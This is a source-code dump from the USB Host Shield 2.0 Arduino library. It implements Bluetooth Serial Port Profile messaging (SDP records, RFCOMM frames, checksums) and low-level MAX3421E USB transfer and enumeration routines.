Length l2capoutbuf[12] = 0x39; // LSB Length = 57 l2capoutbuf[13] = 0x09; // Unsigned Integer - length 2 bytes l2capoutbuf[14] = 0x00; // MSB ServiceRecordHandle l2capoutbuf[15] = 0x00; // LSB ServiceRecordHandle l2capoutbuf[16] = 0x0A; // Unsigned int - length 4 bytes l2capoutbuf[17] = 0x00; // ServiceRecordHandle value - TODO: Is this related to HCI_Handle? l2capoutbuf[18] = 0x01; l2capoutbuf[19] = 0x00; l2capoutbuf[20] = 0x06; l2capoutbuf[21] = 0x09; // Unsigned Integer - length 2 bytes l2capoutbuf[22] = 0x00; // MSB ServiceClassIDList l2capoutbuf[23] = 0x01; // LSB ServiceClassIDList l2capoutbuf[24] = 0x35; // Data element sequence - length in next byte l2capoutbuf[25] = 0x03; // Length = 3 l2capoutbuf[26] = 0x19; // UUID (universally unique identifier) - length = 2 bytes l2capoutbuf[27] = 0x11; // MSB SerialPort l2capoutbuf[28] = 0x01; // LSB SerialPort l2capoutbuf[29] = 0x09; // Unsigned Integer - length 2 bytes l2capoutbuf[30] = 0x00; // MSB ProtocolDescriptorList l2capoutbuf[31] = 0x04; // LSB ProtocolDescriptorList l2capoutbuf[32] = 0x35; // Data element sequence - length in next byte l2capoutbuf[33] = 0x0C; // Length = 12 l2capoutbuf[34] = 0x35; // Data element sequence - length in next byte l2capoutbuf[35] = 0x03; // Length = 3 l2capoutbuf[36] = 0x19; // UUID (universally unique identifier) - length = 2 bytes l2capoutbuf[37] = 0x01; // MSB L2CAP l2capoutbuf[38] = 0x00; // LSB L2CAP l2capoutbuf[39] = 0x35; // Data element sequence - length in next byte l2capoutbuf[40] = 0x05; // Length = 5 l2capoutbuf[41] = 0x19; // UUID (universally unique identifier) - length = 2 bytes l2capoutbuf[42] = 0x00; // MSB RFCOMM l2capoutbuf[43] = 0x03; // LSB RFCOMM l2capoutbuf[44] = 0x08; // Unsigned Integer - length 1 byte l2capoutbuf[45] = 0x02; // ContinuationState - Two more bytes l2capoutbuf[46] = 0x00; // MSB length l2capoutbuf[47] = 0x19; // LSB length = 25 more bytes to come SDP_Command(l2capoutbuf, 48); } void SPP::serialPortResponse2(uint8_t transactionIDHigh, uint8_t transactionIDLow) { l2capoutbuf[0] = SDP_SERVICE_SEARCH_ATTRIBUTE_RESPONSE_PDU; l2capoutbuf[1] = transactionIDHigh; l2capoutbuf[2] = transactionIDLow; l2capoutbuf[3] = 0x00; // MSB Parameter Length l2capoutbuf[4] = 0x1C; // LSB Parameter Length = 28 l2capoutbuf[5] = 0x00; // MSB AttributeListsByteCount l2capoutbuf[6] = 0x19; // LSB AttributeListsByteCount = 25 /* Attribute ID/Value Sequence: */ l2capoutbuf[7] = 0x01; // Channel 1 - TODO: Try different values, so multiple servers can be used at once l2capoutbuf[8] = 0x09; // Unsigned Integer - length 2 bytes l2capoutbuf[9] = 0x00; // MSB LanguageBaseAttributeIDList l2capoutbuf[10] = 0x06; // LSB LanguageBaseAttributeIDList l2capoutbuf[11] = 0x35; // Data element sequence - length in next byte l2capoutbuf[12] = 0x09; // Length = 9 // Identifier representing the natural language = en = English - see: "ISO 639:1988" l2capoutbuf[13] = 0x09; // Unsigned Integer - length 2 bytes l2capoutbuf[14] = 0x65; // 'e' l2capoutbuf[15] = 0x6E; // 'n' // "The second element of each triplet contains an identifier that specifies a character encoding used for the language" // Encoding is set to 106 (UTF-8) - see: http://www.iana.org/assignments/character-sets/character-sets.xhtml l2capoutbuf[16] = 0x09; // Unsigned Integer - length 2 bytes l2capoutbuf[17] = 0x00; // MSB of character encoding l2capoutbuf[18] = 0x6A; // LSB of character encoding (106) // Attribute ID that serves as the base attribute ID for the natural language in the service record // "To facilitate the retrieval of human-readable universal attributes in a principal language, the base attribute ID value for the primary language supported by a service record shall be 0x0100" l2capoutbuf[19] = 0x09; // Unsigned Integer - length 2 bytes l2capoutbuf[20] = 0x01; l2capoutbuf[21] = 0x00; l2capoutbuf[22] = 0x09; // Unsigned Integer - length 2 bytes l2capoutbuf[23] = 0x01; // MSB ServiceDescription l2capoutbuf[24] = 0x00; // LSB ServiceDescription l2capoutbuf[25] = 0x25; // Text string - length in next byte l2capoutbuf[26] = 0x05; // Name length l2capoutbuf[27] = 'T'; l2capoutbuf[28] = 'K'; l2capoutbuf[29] = 'J'; l2capoutbuf[30] = 'S'; l2capoutbuf[31] = 'P'; l2capoutbuf[32] = 0x00; // No continuation state SDP_Command(l2capoutbuf, 33); } void SPP::l2capResponse1(uint8_t transactionIDHigh, uint8_t transactionIDLow) { serialPortResponse1(transactionIDHigh, transactionIDLow); // These has to send all the supported functions, since it only supports virtual serialport it just sends the message again } void SPP::l2capResponse2(uint8_t transactionIDHigh, uint8_t transactionIDLow) { serialPortResponse2(transactionIDHigh, transactionIDLow); // Same data as serialPortResponse2 } /************************************************************/ /* RFCOMM Commands */ /************************************************************/ void SPP::RFCOMM_Command(uint8_t* data, uint8_t nbytes) { pBtd->L2CAP_Command(hci_handle, data, nbytes, rfcomm_scid[0], rfcomm_scid[1]); } void SPP::sendRfcomm(uint8_t channel, uint8_t direction, uint8_t CR, uint8_t channelType, uint8_t pfBit, uint8_t* data, uint8_t length) { l2capoutbuf[0] = channel | direction | CR | extendAddress; // RFCOMM Address l2capoutbuf[1] = channelType | pfBit; // RFCOMM Control l2capoutbuf[2] = length << 1 | 0x01; // Length and format (always 0x01 bytes format) uint8_t i = 0; for(; i < length; i++) l2capoutbuf[i + 3] = data[i]; l2capoutbuf[i + 3] = calcFcs(l2capoutbuf); #ifdef EXTRADEBUG Notify(PSTR(" - RFCOMM Data: "), 0x80); for(i = 0; i < length + 4; i++) { D_PrintHex (l2capoutbuf[i], 0x80); Notify(PSTR(" "), 0x80); } #endif RFCOMM_Command(l2capoutbuf, length + 4); } void SPP::sendRfcommCredit(uint8_t channel, uint8_t direction, uint8_t CR, uint8_t channelType, uint8_t pfBit, uint8_t credit) { l2capoutbuf[0] = channel | direction | CR | extendAddress; // RFCOMM Address l2capoutbuf[1] = channelType | pfBit; // RFCOMM Control l2capoutbuf[2] = 0x01; // Length = 0 l2capoutbuf[3] = credit; // Credit l2capoutbuf[4] = calcFcs(l2capoutbuf); #ifdef EXTRADEBUG Notify(PSTR(" - RFCOMM Credit Data: "), 0x80); for(uint8_t i = 0; i < 5; i++) { D_PrintHex (l2capoutbuf[i], 0x80); Notify(PSTR(" "), 0x80); } #endif RFCOMM_Command(l2capoutbuf, 5); } /* CRC on 2 bytes */ uint8_t SPP::crc(uint8_t *data) { return (pgm_read_byte(&rfcomm_crc_table[pgm_read_byte(&rfcomm_crc_table[0xFF ^ data[0]]) ^ data[1]])); } /* Calculate FCS */ uint8_t SPP::calcFcs(uint8_t *data) { uint8_t temp = crc(data); if((data[1] & 0xEF) == RFCOMM_UIH) return (0xFF - temp); // FCS on 2 bytes else return (0xFF - pgm_read_byte(&rfcomm_crc_table[temp ^ data[2]])); // FCS on 3 bytes } /* Check FCS */ bool SPP::checkFcs(uint8_t *data, uint8_t fcs) { uint8_t temp = crc(data); if((data[1] & 0xEF) != RFCOMM_UIH) temp = pgm_read_byte(&rfcomm_crc_table[temp ^ data[2]]); // FCS on 3 bytes return (pgm_read_byte(&rfcomm_crc_table[temp ^ fcs]) == 0xCF); } /* Serial commands */ #if defined(ARDUINO) && ARDUINO >=100 size_t SPP::write(uint8_t data) { return write(&data, 1); } #else void SPP::write(uint8_t data) { write(&data, 1); } #endif #if defined(ARDUINO) && ARDUINO >=100 size_t SPP::write(const uint8_t *data, size_t size) { #else void SPP::write(const uint8_t *data, size_t size) { #endif for(uint8_t i = 0; i < size; i++) { if(sppIndex >= sizeof (sppOutputBuffer) / sizeof (sppOutputBuffer[0])) send(); // Send the current data in the buffer sppOutputBuffer[sppIndex++] = data[i]; // All the bytes are put into a buffer and then send using the send() function } #if defined(ARDUINO) && ARDUINO >=100 return size; #endif } void SPP::send() { if(!connected || !sppIndex) return; uint8_t length; // This is the length of the string we are sending uint8_t offset = 0; // This is used to keep track of where we are in the string l2capoutbuf[0] = rfcommChannelConnection | 0 | 0 | extendAddress; // RFCOMM Address l2capoutbuf[1] = RFCOMM_UIH; // RFCOMM Control while(sppIndex) { // We will run this while loop until this variable is 0 if(sppIndex > (sizeof (l2capoutbuf) - 4)) // Check if the string is larger than the outgoing buffer length = sizeof (l2capoutbuf) - 4; else length = sppIndex; l2capoutbuf[2] = length << 1 | 1; // Length uint8_t i = 0; for(; i < length; i++) l2capoutbuf[i + 3] = sppOutputBuffer[i + offset]; l2capoutbuf[i + 3] = calcFcs(l2capoutbuf); // Calculate checksum RFCOMM_Command(l2capoutbuf, length + 4); sppIndex -= length; offset += length; // Increment the offset } } int SPP::available(void) { return rfcommAvailable; }; void SPP::discard(void) { rfcommAvailable = 0; } int SPP::peek(void) { if(rfcommAvailable == 0) // Don't read if there is nothing in the buffer return -1; return rfcommDataBuffer[0]; } int SPP::read(void) { if(rfcommAvailable == 0) // Don't read if there is nothing in the buffer return -1; uint8_t output = rfcommDataBuffer[0]; for(uint8_t i = 1; i < rfcommAvailable; i++) rfcommDataBuffer[i - 1] = rfcommDataBuffer[i]; // Shift the buffer one left rfcommAvailable--; bytesRead++; if(bytesRead > (sizeof (rfcommDataBuffer) - 5)) { // We will send the command just before it runs out of credit bytesRead = 0; sendRfcommCredit(rfcommChannelConnection, rfcommDirection, 0, RFCOMM_UIH, 0x10, sizeof (rfcommDataBuffer)); // Send more credit #ifdef EXTRADEBUG Notify(PSTR("\r\nSent "), 0x80); Notify((uint8_t)sizeof (rfcommDataBuffer), 0x80); Notify(PSTR(" more credit"), 0x80); #endif } return output; } ================================================ FILE: libraries/USB_Host_Shield_2.0/SPP.h ================================================ /* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #ifndef _spp_h_ #define _spp_h_ #include "BTD.h" /* Used for SDP */ #define SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST_PDU 0x06 // See the RFCOMM specs #define SDP_SERVICE_SEARCH_ATTRIBUTE_RESPONSE_PDU 0x07 // See the RFCOMM specs #define SERIALPORT_UUID 0x1101 // See http://www.bluetooth.org/Technical/AssignedNumbers/service_discovery.htm #define L2CAP_UUID 0x0100 /* Used for RFCOMM */ #define RFCOMM_SABM 0x2F #define RFCOMM_UA 0x63 #define RFCOMM_UIH 0xEF //#define RFCOMM_DM 0x0F #define RFCOMM_DISC 0x43 #define extendAddress 0x01 // Always 1 // Multiplexer message types #define BT_RFCOMM_PN_CMD 0x83 #define BT_RFCOMM_PN_RSP 0x81 #define BT_RFCOMM_MSC_CMD 0xE3 #define BT_RFCOMM_MSC_RSP 0xE1 #define BT_RFCOMM_RPN_CMD 0x93 #define BT_RFCOMM_RPN_RSP 0x91 /* #define BT_RFCOMM_TEST_CMD 0x23 #define BT_RFCOMM_TEST_RSP 0x21 #define BT_RFCOMM_FCON_CMD 0xA3 #define BT_RFCOMM_FCON_RSP 0xA1 #define BT_RFCOMM_FCOFF_CMD 0x63 #define BT_RFCOMM_FCOFF_RSP 0x61 #define BT_RFCOMM_RLS_CMD 0x53 #define BT_RFCOMM_RLS_RSP 0x51 #define BT_RFCOMM_NSC_RSP 0x11 */ /** * This BluetoothService class implements the Serial Port Protocol (SPP). * It inherits the Arduino Stream class. This allows it to use all the standard Arduino print and stream functions. */ class SPP : public BluetoothService, public Stream { public: /** * Constructor for the SPP class. * @param p Pointer to BTD class instance. * @param name Set the name to BTD#btdName. If argument is omitted, then "Arduino" will be used. * @param pin Write the pin to BTD#btdPin. If argument is omitted, then "0000" will be used. */ SPP(BTD *p, const char *name = "Arduino", const char *pin = "0000"); /** @name BluetoothService implementation */ /** Used this to disconnect the virtual serial port. */ void disconnect(); /**@}*/ /** * Used to provide Boolean tests for the class. * @return Return true if SPP communication is connected. */ operator bool() { return connected; } /** Variable used to indicate if the connection is established. */ bool connected; /** @name Serial port profile (SPP) Print functions */ /** * Get number of bytes waiting to be read. * @return Return the number of bytes ready to be read. */ int available(void); /** Send out all bytes in the buffer. */ void flush(void) { send(); }; /** * Used to read the next value in the buffer without advancing to the next one. * @return Return the byte. Will return -1 if no bytes are available. */ int peek(void); /** * Used to read the buffer. * @return Return the byte. Will return -1 if no bytes are available. */ int read(void); #if defined(ARDUINO) && ARDUINO >=100 /** * Writes the byte to send to a buffer. The message is send when either send() or after Usb.Task() is called. * @param data The byte to write. * @return Return the number of bytes written. */ size_t write(uint8_t data); /** * Writes the bytes to send to a buffer. The message is send when either send() or after Usb.Task() is called. * @param data The data array to send. * @param size Size of the data. * @return Return the number of bytes written. */ size_t write(const uint8_t* data, size_t size); /** Pull in write(const char *str) from Print */ #if !defined(RBL_NRF51822) using Print::write; #endif #else /** * Writes the byte to send to a buffer. The message is send when either send() or after Usb.Task() is called. * @param data The byte to write. */ void write(uint8_t data); /** * Writes the bytes to send to a buffer. The message is send when either send() or after Usb.Task() is called. * @param data The data array to send. * @param size Size of the data. */ void write(const uint8_t* data, size_t size); #endif /** Discard all the bytes in the buffer. */ void discard(void); /** * This will send all the bytes in the buffer. * This is called whenever Usb.Task() is called, * but can also be called via this function. */ void send(void); /**@}*/ protected: /** @name BluetoothService implementation */ /** * Used to pass acldata to the services. * @param ACLData Incoming acldata. */ void ACLData(uint8_t* ACLData); /** Used to establish the connection automatically. */ void Run(); /** Use this to reset the service. */ void Reset(); /** * Called when a device is successfully initialized. * Use attachOnInit(void (*funcOnInit)(void)) to call your own function. * This is useful for instance if you want to set the LEDs in a specific way. */ void onInit(); /**@}*/ private: /* Set true when a channel is created */ bool SDPConnected; bool RFCOMMConnected; /* Variables used by L2CAP state machines */ uint8_t l2cap_sdp_state; uint8_t l2cap_rfcomm_state; uint8_t l2capoutbuf[BULK_MAXPKTSIZE]; // General purpose buffer for l2cap out data uint8_t rfcommbuf[10]; // Buffer for RFCOMM Commands /* L2CAP Channels */ uint8_t sdp_scid[2]; // L2CAP source CID for SDP uint8_t sdp_dcid[2]; // 0x0050 uint8_t rfcomm_scid[2]; // L2CAP source CID for RFCOMM uint8_t rfcomm_dcid[2]; // 0x0051 /* RFCOMM Variables */ uint8_t rfcommChannel; uint8_t rfcommChannelConnection; // This is the channel the SPP channel will be running at uint8_t rfcommDirection; uint8_t rfcommCommandResponse; uint8_t rfcommChannelType; uint8_t rfcommPfBit; uint32_t timer; bool waitForLastCommand; bool creditSent; uint8_t rfcommDataBuffer[100]; // Create a 100 sized buffer for incoming data uint8_t sppOutputBuffer[100]; // Create a 100 sized buffer for outgoing SPP data uint8_t sppIndex; uint8_t rfcommAvailable; bool firstMessage; // Used to see if it's the first SDP request received uint8_t bytesRead; // Counter to see when it's time to send more credit /* State machines */ void SDP_task(); // SDP state machine void RFCOMM_task(); // RFCOMM state machine /* SDP Commands */ void SDP_Command(uint8_t *data, uint8_t nbytes); void serviceNotSupported(uint8_t transactionIDHigh, uint8_t transactionIDLow); void serialPortResponse1(uint8_t transactionIDHigh, uint8_t transactionIDLow); void serialPortResponse2(uint8_t transactionIDHigh, uint8_t transactionIDLow); void l2capResponse1(uint8_t transactionIDHigh, uint8_t transactionIDLow); void l2capResponse2(uint8_t transactionIDHigh, uint8_t transactionIDLow); /* RFCOMM Commands */ void RFCOMM_Command(uint8_t *data, uint8_t nbytes); void sendRfcomm(uint8_t channel, uint8_t direction, uint8_t CR, uint8_t channelType, uint8_t pfBit, uint8_t *data, uint8_t length); void sendRfcommCredit(uint8_t channel, uint8_t direction, uint8_t CR, uint8_t channelType, uint8_t pfBit, uint8_t credit); uint8_t calcFcs(uint8_t *data); bool checkFcs(uint8_t *data, uint8_t fcs); uint8_t crc(uint8_t *data); }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/Usb.cpp ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ /* USB functions */ #include "Usb.h" static uint8_t usb_error = 0; static uint8_t usb_task_state; /* constructor */ USB::USB() : bmHubPre(0) { usb_task_state = USB_DETACHED_SUBSTATE_INITIALIZE; //set up state machine init(); } /* Initialize data structures */ void USB::init() { //devConfigIndex = 0; bmHubPre = 0; } uint8_t USB::getUsbTaskState(void) { return ( usb_task_state); } void USB::setUsbTaskState(uint8_t state) { usb_task_state = state; } EpInfo* USB::getEpInfoEntry(uint8_t addr, uint8_t ep) { UsbDevice *p = addrPool.GetUsbDevicePtr(addr); if(!p || !p->epinfo) return NULL; EpInfo *pep = p->epinfo; for(uint8_t i = 0; i < p->epcount; i++) { if((pep)->epAddr == ep) return pep; pep++; } return NULL; } /* set device table entry */ /* each device is different and has different number of endpoints. This function plugs endpoint record structure, defined in application, to devtable */ uint8_t USB::setEpInfoEntry(uint8_t addr, uint8_t epcount, EpInfo* eprecord_ptr) { if(!eprecord_ptr) return USB_ERROR_INVALID_ARGUMENT; UsbDevice *p = addrPool.GetUsbDevicePtr(addr); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; p->address.devAddress = addr; p->epinfo = eprecord_ptr; p->epcount = epcount; return 0; } uint8_t USB::SetAddress(uint8_t addr, uint8_t ep, EpInfo **ppep, uint16_t *nak_limit) { UsbDevice *p = addrPool.GetUsbDevicePtr(addr); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; if(!p->epinfo) return USB_ERROR_EPINFO_IS_NULL; *ppep = getEpInfoEntry(addr, ep); if(!*ppep) return USB_ERROR_EP_NOT_FOUND_IN_TBL; *nak_limit = (0x0001UL << (((*ppep)->bmNakPower > USB_NAK_MAX_POWER) ? USB_NAK_MAX_POWER : (*ppep)->bmNakPower)); (*nak_limit)--; /* USBTRACE2("\r\nAddress: ", addr); USBTRACE2(" EP: ", ep); USBTRACE2(" NAK Power: ",(*ppep)->bmNakPower); USBTRACE2(" NAK Limit: ", nak_limit); USBTRACE("\r\n"); */ regWr(rPERADDR, addr); //set peripheral address uint8_t mode = regRd(rMODE); //Serial.print("\r\nMode: "); //Serial.println( mode, HEX); //Serial.print("\r\nLS: "); //Serial.println(p->lowspeed, HEX); // Set bmLOWSPEED and bmHUBPRE in case of low-speed device, reset them otherwise regWr(rMODE, (p->lowspeed) ? mode | bmLOWSPEED | bmHubPre : mode & ~(bmHUBPRE | bmLOWSPEED)); return 0; } /* Control transfer. Sets address, endpoint, fills control packet with necessary data, dispatches control packet, and initiates bulk IN transfer, */ /* depending on request. Actual requests are defined as inlines */ /* return codes: */ /* 00 = success */ /* 01-0f = non-zero HRSLT */ uint8_t USB::ctrlReq(uint8_t addr, uint8_t ep, uint8_t bmReqType, uint8_t bRequest, uint8_t wValLo, uint8_t wValHi, uint16_t wInd, uint16_t total, uint16_t nbytes, uint8_t* dataptr, USBReadParser *p) { bool direction = false; //request direction, IN or OUT uint8_t rcode; SETUP_PKT setup_pkt; EpInfo *pep = NULL; uint16_t nak_limit = 0; rcode = SetAddress(addr, ep, &pep, &nak_limit); if(rcode) return rcode; direction = ((bmReqType & 0x80) > 0); /* fill in setup packet */ setup_pkt.ReqType_u.bmRequestType = bmReqType; setup_pkt.bRequest = bRequest; setup_pkt.wVal_u.wValueLo = wValLo; setup_pkt.wVal_u.wValueHi = wValHi; setup_pkt.wIndex = wInd; setup_pkt.wLength = total; bytesWr(rSUDFIFO, 8, (uint8_t*) & setup_pkt); //transfer to setup packet FIFO rcode = dispatchPkt(tokSETUP, ep, nak_limit); //dispatch packet if(rcode) //return HRSLT if not zero return ( rcode); if(dataptr != NULL) //data stage, if present { if(direction) //IN transfer { uint16_t left = total; pep->bmRcvToggle = 1; //bmRCVTOG1; while(left) { // Bytes read into buffer uint16_t read = nbytes; //uint16_t read = (leftbmRcvToggle = (regRd(rHRSL) & bmSNDTOGRD) ? 0 : 1; continue; } if(rcode) return rcode; // Invoke callback function if inTransfer completed successfully and callback function pointer is specified if(!rcode && p) ((USBReadParser*)p)->Parse(read, dataptr, total - left); left -= read; if(read < nbytes) break; } } else //OUT transfer { pep->bmSndToggle = 1; //bmSNDTOG1; rcode = OutTransfer(pep, nak_limit, nbytes, dataptr); } if(rcode) //return error return ( rcode); } // Status stage return dispatchPkt((direction) ? tokOUTHS : tokINHS, ep, nak_limit); //GET if direction } /* IN transfer to arbitrary endpoint. Assumes PERADDR is set. Handles multiple packets if necessary. Transfers 'nbytes' bytes. */ /* Keep sending INs and writes data to memory area pointed by 'data' */ /* rcode 0 if no errors. rcode 01-0f is relayed from dispatchPkt(). Rcode f0 means RCVDAVIRQ error, fe USB xfer timeout */ uint8_t USB::inTransfer(uint8_t addr, uint8_t ep, uint16_t *nbytesptr, uint8_t* data, uint8_t bInterval /*= 0*/) { EpInfo *pep = NULL; uint16_t nak_limit = 0; uint8_t rcode = SetAddress(addr, ep, &pep, &nak_limit); if(rcode) { USBTRACE3("(USB::InTransfer) SetAddress Failed ", rcode, 0x81); USBTRACE3("(USB::InTransfer) addr requested ", addr, 0x81); USBTRACE3("(USB::InTransfer) ep requested ", ep, 0x81); return rcode; } return InTransfer(pep, nak_limit, nbytesptr, data, bInterval); } uint8_t USB::InTransfer(EpInfo *pep, uint16_t nak_limit, uint16_t *nbytesptr, uint8_t* data, uint8_t bInterval /*= 0*/) { uint8_t rcode = 0; uint8_t pktsize; uint16_t nbytes = *nbytesptr; //printf("Requesting %i bytes ", nbytes); uint8_t maxpktsize = pep->maxPktSize; *nbytesptr = 0; regWr(rHCTL, (pep->bmRcvToggle) ? bmRCVTOG1 : bmRCVTOG0); //set toggle value // use a 'break' to exit this loop while(1) { rcode = dispatchPkt(tokIN, pep->epAddr, nak_limit); //IN packet to EP-'endpoint'. Function takes care of NAKS. if(rcode == hrTOGERR) { // yes, we flip it wrong here so that next time it is actually correct! pep->bmRcvToggle = (regRd(rHRSL) & bmRCVTOGRD) ? 0 : 1; regWr(rHCTL, (pep->bmRcvToggle) ? bmRCVTOG1 : bmRCVTOG0); //set toggle value continue; } if(rcode) { //printf(">>>>>>>> Problem! dispatchPkt %2.2x\r\n", rcode); break; //should be 0, indicating ACK. Else return error code. } /* check for RCVDAVIRQ and generate error if not present */ /* the only case when absence of RCVDAVIRQ makes sense is when toggle error occurred. Need to add handling for that */ if((regRd(rHIRQ) & bmRCVDAVIRQ) == 0) { //printf(">>>>>>>> Problem! NO RCVDAVIRQ!\r\n"); rcode = 0xf0; //receive error break; } pktsize = regRd(rRCVBC); //number of received bytes //printf("Got %i bytes \r\n", pktsize); // This would be OK, but... //assert(pktsize <= nbytes); if(pktsize > nbytes) { // This can happen. Use of assert on Arduino locks up the Arduino. // So I will trim the value, and hope for the best. //printf(">>>>>>>> Problem! Wanted %i bytes but got %i.\r\n", nbytes, pktsize); pktsize = nbytes; } int16_t mem_left = (int16_t)nbytes - *((int16_t*)nbytesptr); if(mem_left < 0) mem_left = 0; data = bytesRd(rRCVFIFO, ((pktsize > mem_left) ? mem_left : pktsize), data); regWr(rHIRQ, bmRCVDAVIRQ); // Clear the IRQ & free the buffer *nbytesptr += pktsize; // add this packet's byte count to total transfer length /* The transfer is complete under two conditions: */ /* 1. The device sent a short packet (L.T. maxPacketSize) */ /* 2. 'nbytes' have been transferred. */ if((pktsize < maxpktsize) || (*nbytesptr >= nbytes)) // have we transferred 'nbytes' bytes? { // Save toggle value pep->bmRcvToggle = ((regRd(rHRSL) & bmRCVTOGRD)) ? 1 : 0; //printf("\r\n"); rcode = 0; break; } else if(bInterval > 0) delay(bInterval); // Delay according to polling interval } //while( 1 ) return ( rcode); } /* OUT transfer to arbitrary endpoint. Handles multiple packets if necessary. Transfers 'nbytes' bytes. */ /* Handles NAK bug per Maxim Application Note 4000 for single buffer transfer */ /* rcode 0 if no errors. rcode 01-0f is relayed from HRSL */ uint8_t USB::outTransfer(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t* data) { EpInfo *pep = NULL; uint16_t nak_limit = 0; uint8_t rcode = SetAddress(addr, ep, &pep, &nak_limit); if(rcode) return rcode; return OutTransfer(pep, nak_limit, nbytes, data); } uint8_t USB::OutTransfer(EpInfo *pep, uint16_t nak_limit, uint16_t nbytes, uint8_t *data) { uint8_t rcode = hrSUCCESS, retry_count; uint8_t *data_p = data; //local copy of the data pointer uint16_t bytes_tosend, nak_count; uint16_t bytes_left = nbytes; uint8_t maxpktsize = pep->maxPktSize; if(maxpktsize < 1 || maxpktsize > 64) return USB_ERROR_INVALID_MAX_PKT_SIZE; uint32_t timeout = (uint32_t)millis() + USB_XFER_TIMEOUT; regWr(rHCTL, (pep->bmSndToggle) ? bmSNDTOG1 : bmSNDTOG0); //set toggle value while(bytes_left) { retry_count = 0; nak_count = 0; bytes_tosend = (bytes_left >= maxpktsize) ? maxpktsize : bytes_left; bytesWr(rSNDFIFO, bytes_tosend, data_p); //filling output FIFO regWr(rSNDBC, bytes_tosend); //set number of bytes regWr(rHXFR, (tokOUT | pep->epAddr)); //dispatch packet while(!(regRd(rHIRQ) & bmHXFRDNIRQ)); //wait for the completion IRQ regWr(rHIRQ, bmHXFRDNIRQ); //clear IRQ rcode = (regRd(rHRSL) & 0x0f); while(rcode && ((int32_t)((uint32_t)millis() - timeout) < 0L)) { switch(rcode) { case hrNAK: nak_count++; if(nak_limit && (nak_count == nak_limit)) goto breakout; //return ( rcode); break; case hrTIMEOUT: retry_count++; if(retry_count == USB_RETRY_LIMIT) goto breakout; //return ( rcode); break; case hrTOGERR: // yes, we flip it wrong here so that next time it is actually correct! pep->bmSndToggle = (regRd(rHRSL) & bmSNDTOGRD) ? 0 : 1; regWr(rHCTL, (pep->bmSndToggle) ? bmSNDTOG1 : bmSNDTOG0); //set toggle value break; default: goto breakout; }//switch( rcode /* process NAK according to Host out NAK bug */ regWr(rSNDBC, 0); regWr(rSNDFIFO, *data_p); regWr(rSNDBC, bytes_tosend); regWr(rHXFR, (tokOUT | pep->epAddr)); //dispatch packet while(!(regRd(rHIRQ) & bmHXFRDNIRQ)); //wait for the completion IRQ regWr(rHIRQ, bmHXFRDNIRQ); //clear IRQ rcode = (regRd(rHRSL) & 0x0f); }//while( rcode && .... bytes_left -= bytes_tosend; data_p += bytes_tosend; }//while( bytes_left... breakout: pep->bmSndToggle = (regRd(rHRSL) & bmSNDTOGRD) ? 1 : 0; //bmSNDTOG1 : bmSNDTOG0; //update toggle return ( rcode); //should be 0 in all cases } /* dispatch USB packet. Assumes peripheral address is set and relevant buffer is loaded/empty */ /* If NAK, tries to re-send up to nak_limit times */ /* If nak_limit == 0, do not count NAKs, exit after timeout */ /* If bus timeout, re-sends up to USB_RETRY_LIMIT times */ /* return codes 0x00-0x0f are HRSLT( 0x00 being success ), 0xff means timeout */ uint8_t USB::dispatchPkt(uint8_t token, uint8_t ep, uint16_t nak_limit) { uint32_t timeout = (uint32_t)millis() + USB_XFER_TIMEOUT; uint8_t tmpdata; uint8_t rcode = hrSUCCESS; uint8_t retry_count = 0; uint16_t nak_count = 0; while((int32_t)((uint32_t)millis() - timeout) < 0L) { #if defined(ESP8266) || defined(ESP32) yield(); // needed in order to reset the watchdog timer on the ESP8266 #endif regWr(rHXFR, (token | ep)); //launch the transfer rcode = USB_ERROR_TRANSFER_TIMEOUT; while((int32_t)((uint32_t)millis() - timeout) < 0L) //wait for transfer completion { #if defined(ESP8266) || defined(ESP32) yield(); // needed in order to reset the watchdog timer on the ESP8266 #endif tmpdata = regRd(rHIRQ); if(tmpdata & bmHXFRDNIRQ) { regWr(rHIRQ, bmHXFRDNIRQ); //clear the interrupt rcode = 0x00; break; }//if( tmpdata & bmHXFRDNIRQ }//while ( millis() < timeout //if (rcode != 0x00) //exit if timeout // return ( rcode); rcode = (regRd(rHRSL) & 0x0f); //analyze transfer result switch(rcode) { case hrNAK: nak_count++; if(nak_limit && (nak_count == nak_limit)) return (rcode); break; case hrTIMEOUT: retry_count++; if(retry_count == USB_RETRY_LIMIT) return (rcode); break; default: return (rcode); }//switch( rcode }//while( timeout > millis() return ( rcode); } /* USB main task. Performs enumeration/cleanup */ void USB::Task(void) //USB state machine { uint8_t rcode; uint8_t tmpdata; static uint32_t delay = 0; //USB_DEVICE_DESCRIPTOR buf; bool lowspeed = false; MAX3421E::Task(); tmpdata = getVbusState(); /* modify USB task state if Vbus changed */ switch(tmpdata) { case SE1: //illegal state usb_task_state = USB_DETACHED_SUBSTATE_ILLEGAL; lowspeed = false; break; case SE0: //disconnected if((usb_task_state & USB_STATE_MASK) != USB_STATE_DETACHED) usb_task_state = USB_DETACHED_SUBSTATE_INITIALIZE; lowspeed = false; break; case LSHOST: lowspeed = true; //intentional fallthrough case FSHOST: //attached if((usb_task_state & USB_STATE_MASK) == USB_STATE_DETACHED) { delay = (uint32_t)millis() + USB_SETTLE_DELAY; usb_task_state = USB_ATTACHED_SUBSTATE_SETTLE; } break; }// switch( tmpdata for(uint8_t i = 0; i < USB_NUMDEVICES; i++) if(devConfig[i]) rcode = 